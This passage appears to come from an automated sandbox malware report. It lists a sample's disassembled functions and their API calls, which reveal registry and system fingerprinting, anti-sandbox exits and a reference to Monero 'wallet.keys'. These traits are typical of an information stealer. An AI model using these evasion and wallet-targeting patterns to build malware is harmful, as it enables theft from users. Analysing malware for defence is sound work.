RtlAllocateHeap.NTDLL(00000000), ref: 01018137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01018158
wsprintfA.USER32 ref: 010181AC

Strings

@, xrefs: 0101814D
%d MB, xrefs: 010181A3

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 17182e0337b497cdf5b07b4525ff863fd30026e8dff9f4d0d65d179115e89c0f
Instruction ID: 7f4ca11ea37908840482c2216e7234b1db1a31621e9d14d607241a1276abb9a7
Opcode Fuzzy Hash: 17182e0337b497cdf5b07b4525ff863fd30026e8dff9f4d0d65d179115e89c0f
Instruction Fuzzy Hash: 70212EB1E44219ABDB10DFD5DC49FAEB7B8FB44B10F104609F605BB284D77869008BA5

Function 010183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
wsprintfA.USER32 ref: 01018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
RegCloseKey.ADVAPI32(00000000), ref: 0101848C
RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

RegQueryValueExA.KERNEL32(00000000,00A5DE70,00000000,000F003F,?,00000400), ref: 010184EC
lstrlen.KERNEL32(?), ref: 01018501
RegQueryValueExA.KERNEL32(00000000,00A5E128,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,01020B34), ref: 01018599
RegCloseKey.KERNEL32(00000000), ref: 01018608
RegCloseKey.ADVAPI32(00000000), ref: 0101861A

Strings

%s\%s, xrefs: 0101844D

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c26e8c23a36654acf1c1f5858c72352424d57a824d8d554991a96f2ebb1e09e3
Instruction ID: eff8a264892d7bd5b7cb31dd9ff89c54c9736f7aa90845de5c13d17bfbf4a365
Opcode Fuzzy Hash: c26e8c23a36654acf1c1f5858c72352424d57a824d8d554991a96f2ebb1e09e3
Instruction Fuzzy Hash: 05212775A40228ABEB24DB54DC84FE9B3B8FB48700F00C5D9E64AA7144DF756A85CFD4

Function 01017690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010176A4
RtlAllocateHeap.NTDLL(00000000), ref: 010176AB
RegOpenKeyExA.KERNEL32(80000002,00A4C1D0,00000000,00020119,00000000), ref: 010176DD
RegQueryValueExA.KERNEL32(00000000,00A5E080,00000000,00000000,?,000000FF), ref: 010176FE
RegCloseKey.ADVAPI32(00000000), ref: 01017708

Strings

Windows 11, xrefs: 010176BD

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: f6c01c4fb536ac038345e274610e746d7ca18c20ce5ae00d4317012f77c3db0a
Instruction ID: 13c65a413dbd46b8b392ca4c179bd82d4fd22ea47a6fa5431dcbde43162119c0
Opcode Fuzzy Hash: f6c01c4fb536ac038345e274610e746d7ca18c20ce5ae00d4317012f77c3db0a
Instruction Fuzzy Hash: 6401FFB9A80204BBE720DBE4E94DFADB7BCEB48701F104494FA4697288E67499048B50

Function 01017720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017734
RtlAllocateHeap.NTDLL(00000000), ref: 0101773B
RegOpenKeyExA.KERNEL32(80000002,00A4C1D0,00000000,00020119,010176B9), ref: 0101775B
RegQueryValueExA.KERNEL32(010176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0101777A
RegCloseKey.ADVAPI32(010176B9), ref: 01017784

Strings

CurrentBuildNumber, xrefs: 01017771

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 4d86d2c85e0ecb23da48844b16cf795e08ebd636715ed044a011fb9d8096b385
Instruction ID: 2bc16563b04d85614a43a822f773e679fec8d30c36dad30de79cafd744741dd9
Opcode Fuzzy Hash: 4d86d2c85e0ecb23da48844b16cf795e08ebd636715ed044a011fb9d8096b385
Instruction Fuzzy Hash: 4101F4B9A40308BBE710DBE4EC4DFAEB7B8EB48705F104559FA06A7285D67456008F51

Function 010169F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52338), ref: 010198A1
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A524E8), ref: 010198BA
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A523E0), ref: 010198D2
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52440), ref: 010198EA
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52218), ref: 01019903
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A59198), ref: 0101991B
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A45A90), ref: 01019933
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A457D0), ref: 0101994C
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52260), ref: 01019964
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A524D0), ref: 0101997C
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52308), ref: 01019995
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52488), ref: 010199AD
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A45850), ref: 010199C5
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,00A52320), ref: 010199DE

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 010011D0: ExitProcess.KERNEL32 ref: 01001211

Part of subcall function 01001160: GetSystemInfo.KERNEL32(?), ref: 0100116A
Part of subcall function 01001160: ExitProcess.KERNEL32 ref: 0100117E

Part of subcall function 01001110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0100112B
Part of subcall function 01001110: VirtualAllocExNuma.KERNEL32(00000000), ref: 01001132
Part of subcall function 01001110: ExitProcess.KERNEL32 ref: 01001143

Part of subcall function 01001220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0100123E
Part of subcall function 01001220: ExitProcess.KERNEL32 ref: 01001294

Part of subcall function 01016770: GetUserDefaultLangID.KERNEL32 ref: 01016774

Part of subcall function 01001190: ExitProcess.KERNEL32 ref: 010011C6

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A59178,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01016AE8
CloseHandle.KERNEL32(00000000), ref: 01016AF9
Sleep.KERNEL32(00001770), ref: 01016B04
CloseHandle.KERNEL32(?,00000000,?,00A59178,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016B1A
ExitProcess.KERNEL32 ref: 01016B22

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 417215afc5a8c3ebc86be3549f38e13bc4164e146c00a088f1d646007939a0f9
Instruction ID: 12e71dcaa3d088fd9470af5eab702135a2a5402978b34473a216baf61c530cc7
Opcode Fuzzy Hash: 417215afc5a8c3ebc86be3549f38e13bc4164e146c00a088f1d646007939a0f9
Instruction Fuzzy Hash: 2C315E75A4020AABEB15F7F0EC55BEE7778AF24310F004518F583A7188DF786545CBA0

Function 010099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
LocalFree.KERNEL32(0100148F), ref: 01009A90
CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: daf45d9e8723ca62085467f4172bffa9ecfb4e85fec9bbab20f189dc63ec9561
Instruction ID: 7497f9a5d68b250620c3e4aa8355c6436260ec9b3976aa89cbf54da513d2f83c
Opcode Fuzzy Hash: daf45d9e8723ca62085467f4172bffa9ecfb4e85fec9bbab20f189dc63ec9561
Instruction Fuzzy Hash: F2311C74A00209EFEF25CF94D949BAE77F5FF49354F104198E906A7284D774A981CFA0

Function 01014780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00A5E3F8), ref: 010147DB

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014801
lstrcat.KERNEL32(?,?), ref: 01014820
lstrcat.KERNEL32(?,?), ref: 01014834
lstrcat.KERNEL32(?,00A4B950), ref: 01014847
lstrcat.KERNEL32(?,?), ref: 0101485B
lstrcat.KERNEL32(?,00A5D740), ref: 0101486F

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018D90: GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Part of subcall function 01014570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01014580
Part of subcall function 01014570: RtlAllocateHeap.NTDLL(00000000), ref: 01014587
Part of subcall function 01014570: wsprintfA.USER32 ref: 010145A6
Part of subcall function 01014570: FindFirstFileA.KERNEL32(?,?), ref: 010145BD

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

